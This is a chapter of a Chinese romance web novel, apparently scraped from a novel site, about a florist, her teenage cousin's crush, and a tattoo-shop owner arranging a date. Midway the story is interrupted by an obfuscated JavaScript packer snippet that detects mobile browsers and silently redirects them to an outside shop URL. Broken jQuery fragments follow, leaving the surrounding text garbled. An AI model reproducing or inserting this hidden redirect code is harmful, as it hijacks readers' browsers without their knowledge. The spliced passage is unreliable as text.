文趣网 > 都市小说 > 吉时生长 > 17. 枯萎
    这可把程诺吓了一跳,一把握住姐姐的手,大喊:“姐,这可不敢瞎说!”

    看程诺惊恐的样子不像作假,苏夏狐疑:“那刚才送你过来的那个男生是怎么回事?你都在店门口下车了,是担心我看不见啊还是就是故意给我看的?上次去学校处理你早恋的事情不就是那个男生?”

    “姐你都看见了啊?反正……反正不是姐你想的那样。”程诺犹犹豫豫。

    “那是哪样啊?”苏夏靠在程诺肩膀上,不给她后撤的机会。

    程诺左看右看,身上拖着个人还能走来走去,见桌子上花瓶里的花都快枯萎了还插在里面,两只手无意识地摆弄起来。苏夏看了一眼枯萎的洋桔梗,一巴拍掉了程诺作乱的手。

    “爱护花草,人人有责啊。”苏夏故意叹气,“才几天没见咱俩就这么生分了。”

    “都枯萎了!”程诺指着花叫,“姐你店里那么多花还摆一瓶枯花干什么?这是什么新形式的艺术吗?”

    苏夏没被她带歪:“姐上次可是严严实实帮你瞒着了,看来今天吃饭和小姨有话说了。”

    “姐姐姐姐姐姐!”程诺求饶,“我说还不行吗,主要是我现在还没追上他,我觉得太丢人了才不想说。”

    “追不上有什么丢人的?只能说明你还没打动人家男生,再说了宝贝,你现在可是高中生,谈恋爱多费精力,你不想上大学,难道人家还不想上大学吗?是你妈给你请的家教、上的补习班还不够多吗?”苏夏点点她的脑袋。

    程诺捂住脑门,不服:“他是年纪第一好吗,而且从来没出过年纪前三,跟我这个学渣当然不一样了。”叹了口气,把话一箩筐全倒出来,“你不知道姐,他可高冷了,我高一缠了他一整年,现在才勉强和他说几句话,他每天除了学习就是学习,最重要的是,他还是个哥宝男,每天都是我哥说,我哥说,他哥的话就是圣旨!姐你敢信吗?我今天能约李昫出来玩都是多亏了他哥,因为他哥说他整天待在家里太闷了,一点没有年轻人的活泼气,让他多跟朋友同学出去玩玩,所以今天才被我捡上漏了,而且我们还不是单独出去,一大帮人呢。”

    “你听起来很遗憾啊?”

    “当然了姐!最后下车就剩我俩的时候才单独说上几句话。”

    李昫?兄弟俩不仅长得像,就连名字看起来也很像,还都是一个意思。虽然现在李昭的话是挺少的,但是以前高中的时候可是一个社交达人,兄弟俩横向对比的话就不像了。

    苏夏想了想说:“好歹今天你还收获了一个拥抱,也不算亏了吧?”

    程诺乐了:“也是哈,我趁他不备抱了一下就躲开了,因为他一直给我讲题嘛,我就当是给他一个感谢,这样解释的时候他也没说什么。”

    “你刚才说你喜欢的人是一个哥宝男,他哥哥是上次在学校见到的那个?”苏夏问。

    程诺点头,说:“是啊,他俩长得真像,不过我觉得还是李昫更帅一点,虽然看起来都挺冷的,但是李昫就能让人感觉到内里是暖的,他哥太有压迫感了,听说还是开纹身店的……”

    “纹身店怎么了?怎么还整上职业歧视了。”苏夏捏她的脸。

    程诺张不开嘴,嘟囔着说:“就是听起来就很有黑社会老大的感觉啊……”

    说曹操曹操到,黑社会老大下一秒就来了。

    “苏老板,上次的收据忘记给你了。”李昭戴着棒球帽走进店里,帽檐有点往下压了,只能看见他锋利的下颌角,以及微抿的薄唇和挺立的鼻尖。

    黑社会老大今天穿得也挺黑社会老大的,说起来苏夏除了刚见面那几次看见李昭穿一身黑,近来已经很少那么穿了,每次穿的……说不好,好像有点花里胡哨的?今天像是匆忙赶过来,黑色的短袖和黑色的裤子,裤子将他紧实的长腿包裹起来,看起来很有力量感,苏夏记得以前倪明清还和她吐槽说健身房里的男生都不爱练腿,下半身堪称细狗,看来李昭倒是把全身都兼顾了。

    程诺显然认出了来人,僵在了一边,两眼像探照灯一样不停往她姐身上看去,眼睛中写满了“怎么回事?”

    苏夏倒是没想到这么巧,继上次七夕之后,李昭说店里办活动,还需要像上次那样订购鲜花,送上门的生意苏夏当然没有拒绝的理由,只不过花束当然不是苏夏去送了,现在不是忙的时候,店里面的送货员当然够用。

    苏夏走上前从李昭手里接过收据,看了一眼日期,是今天的,她说:“谢谢,麻烦你跑一趟了,不过明天店员还要过去送花,你留到明天让送货员带回来就行。”

    当然可以这样,但是李昭还不容易盼了个机会过来怎么可能错过,忙完手头的活立刻就赶过来了。

    “苏老板今天有空吗?”

    啊,又是这句,看来李昭在她这的运气不怎么好啊,要不然怎么每次都赶上她有约。

    苏夏顺手将收据折好放进围裙的兜里面,问:“今天可能没空,有什么事吗?”

    李昭抿唇,看上去有些失望,声音也显得低落:“苏老板,你能不能别一直拒绝我啊?”

    这真是冤枉,谁让李昭每次来得都不凑巧,苏夏刚想张口说话,李昭先一步说:“苏老板又要说下一次?”

    苏夏皱眉,今天这人受了什么刺激?这次不行当然只能下一次了,苏夏说:“无功不受禄,我也不好平白让你请我吃饭啊。”

    “那苏老板请我怎么样?”李昭反应很快,“上次在酒吧苏老板不是还说过要请我吃饭,苏老板不会忘记了吧?”

    这苏夏还真记不清了,不过以苏夏对自己的了解,看李昭当晚见义勇为的行为,临走前大概真的会说一句有空一起吃饭。

    苏夏装作想起来的样子,说:“没忘,主要看你什么时候有空。不过这次也不是骗你,我今晚确实约了饭了。”说着苏夏把程诺带过来,“这是我妹妹,今晚要带她一块家庭聚餐。”

    程诺还在一旁猜测两人是什么关系呢,就被姐姐拉到台前,说起来程诺除了那次喊家长之外没见过李昭,都是从李昫“我哥说”中了解李昭是啥样的人的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17876456|212064||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,今天的李昭气势没有上次看起来那么有压迫感,好像是收起了尖锐的锋芒一样。

    “对对对,我们今晚要家庭聚餐,我姐确实没空。”程诺搁旁边陪着笑。

    苏夏没眼看她,手在背后给了她一击,让她正常一点,程诺只当浑然不觉。

    “好吧,那苏老板下周什么时候有空?下周末怎么样?”李昭说,他已经深刻感受到苏夏行程的繁忙了,工作生活朋友牢牢占据了她每一段时间,李昭必须提前准备,才有可能共享其中一段时间。并且,不能是什么不确定、虚浮的下一次,下一次又下一次,永远没有尽头,明日何其多,必须有个确切的时间才行,这样才能有个真切的盼望。

    “好,那就下周末。”苏夏爽快应答。

    这下轮到程诺在背后拍苏夏了,心里被眼前的一幕挠得心痒痒,恨不得立刻面对面质问苏夏这是怎么回事,好解答心中的疑惑。

    李昭得了满意的答案,心里高兴,嘴角轻轻翘起,又想往下压,最后还是抵不过心里的高兴翘起来了。

    李昭轻声说:“那我不打扰苏老板了。”

    “等一下。”苏夏叫他。

    李昭欲转动的脚步立刻停下,不带一点犹豫,眼睛准确看向苏夏,认真盯着她,等着她说话。

    苏夏转身往里面的工作间里走,不一会抱着一小束花出来。

    苏夏低头看了一眼花束,笑了一下,递给李昭:“这束花是今天练手做的,送给你,你上次的花应该枯萎了吧。”听起来像是问句,苏夏语气却很肯定。

    李昭目光闪动,突然觉得今天应该换身衣服再过来的,不然一身黑总觉得配不上她的花,苏夏就像是五颜六色的花一样,花有千百种姿态,苏夏也有千百种风情,每一面构成了千万分之一的她,又是完整的她自己,不经意散发出的香味总能吸引蝴蝶蜜蜂驻足于此。

    今早起床的时候李昭看见床头柜上的洋桔梗花瓣都已经枯黄了,虽然李昭自带回家起就一直小心养护,但是抵抗不了自然的力量,只是枯萎的花没舍得扔,觉得是时候买一束新的花插进花瓶里了。

    “苏老板好聪明,花期记得很清楚,‘云想衣裳花想容,春风拂槛露华浓’,这句和苏老板今天很配。”李昭温柔笑道。

    总是这样,苏夏腹诽,她记得李昭语文成绩非常好,什么中外名著、社科历史的书都看了不知道多少,经常说着说着就会冒出一句诗句或者哪位名人说。

    “姐姐!这是怎么回事啊?你上次在学校和李昫他哥看起来还不熟呢,今天这是怎么回事?刚才还敢说我有事瞒着你,哼,看来我今天晚上也和姨姨有话说了。”程诺双手抱臂,一脸得意。

    本来就是要下班了,苏夏这会工作都已经做完了,要不是刚才的插曲,估计这会都在去餐厅的路上了。

    现在人已经离开,苏夏一时之间竟然不知道该怎么和程诺解释这复杂的关系。

    看着嘴撅得老高的程诺,苏夏万般情绪都化作了一句:“我俩以前是高中同学。”